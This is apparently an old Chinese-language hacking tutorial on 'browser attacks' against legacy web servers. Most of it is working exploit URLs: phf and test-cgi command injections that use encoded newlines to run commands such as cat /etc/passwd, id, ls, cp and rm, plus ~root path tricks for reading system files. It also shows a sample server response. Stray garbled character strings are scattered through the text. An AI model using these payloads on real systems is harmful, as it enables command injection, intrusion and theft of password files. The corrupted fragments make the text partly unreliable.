浏览器攻击

在本章我将讲述一些利用浏览器来进行攻击的方法
1。大家都知道了phf攻击了，phf是cgi script,很多站点都有这个大漏洞啦，使用
$ [  S0 k; m  _# e- @9 f- \http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd指令可以拿到那个站点的passwd.但还有些更好的执行方法呦如：
7 [( u% s, w0 ]" G2 }, \, q+ V% Whttp://thegnome.com/cgi-bin/phf?%0aid&Qalias=&Qname=haqr&Qemail=&Qnickna

me=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0als%20-la%20%7Esomeuser&Qalias=&Qname=
# T. F% w* v3 m# i% N6 ohaqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/cgi-bin/phf?%0acp%20/etc/passwd%20%7Esomeuser/passwd
4 f% g# a6 [  S& u% z* }. ~( J%0A&Qalias=&Qname=haqr&Qemail=&Qnickname=&Qoffice_phone=
http://thegnome.com/~someuser/passwd
http://thegnome.com/cgi-bin/phf?%0arm%20%7Esomeuser/passwd&Qalias=&Qname
, J2 P2 t8 y$ p. M: p8 D: y9 g
=haqr&Qemail=&Qnickname=&Qoffice_phone=
: Z4 p  u3 S# w0 w% b上面执行的命令是
id
ls -la ~someuser
8 h5 b9 ]0 l0 ecp /etc/passwd ~someuser/passwd
rm ~someuser/passwd
) d, x7 [1 w* x* C
7 \) W; ]+ C8 K2。有关test攻击
( r) S4 b" f" yhttp://thegnome.com/cgi-bin/test-cgi?\whatever
3 i5 v! h+ b; @* B服务器会应答，本服务器的一些情况如：
2 _0 k& K- o8 i% W( p1 v' Z) lCGI/1.0 test script report:

) l* R3 Q8 \  O4 J$ C8 margc is 0. argv is .
8 Z- o8 K0 @5 K; m7 }, ]) J" }
% _1 P3 V: U! CSERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
+ X) E" _: w2 m+ q6 b& m. BREQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
1 w4 j. a8 y6 X* t# E2 q% vtext/html, text/x-html
$ U& u5 ?2 r' w& ~' m* iPATH_INFO =
6 q0 K3 q. B. k6 S! z7 ]PATH_TRANSLATED =
! N' i7 a% ?* e: I8 z. ySCRIPT_NAME = /cgi-bin/test-cgi
  J, n1 V% C' ^QUERY_STRING = whatever
% e+ j5 e# Q) R1 c- IREMOTE_HOST = fifth.column.gov
: t4 w, g2 g- q" |" ~. YREMOTE_ADDR = 200.200.200.200
, V, `5 |; g, M3 r, |# ?REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =

; Y$ M$ \0 t, r, n好吧，让我们来点赶兴趣的
; C" g4 Y9 n: r# ?( F0 Zhttp://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
$ m/ T2 _$ G# Z7 @; w! ?" `& G4 {0 w
3。~的应用
~主要是用在很多的个人主页上的快捷目录的方法，如果我们使用这样的~
http://thegnome.com/~root
3 d5 I1 N3 X  }: d+ i) K0 khttp://thegnome.com/~root/etc/passwd
不是在任何平台上都通过呦，在BSD Apache上曾经成功过,当然还可以试试~bin ,~etc,~uucp.....
看到这个站点了吗，本站所在的这个站点就是用这种形式的，如果我们打入 本站所在的web地址/~bin
, y5 V* f8 I: E% M4 _出现了什么，你看到了吗？然后...............注意请不要破坏
# f% p  x, R5 }3 D6 ~. I4 w+ s
$ C. ~9 q( c. y& E$ p% ~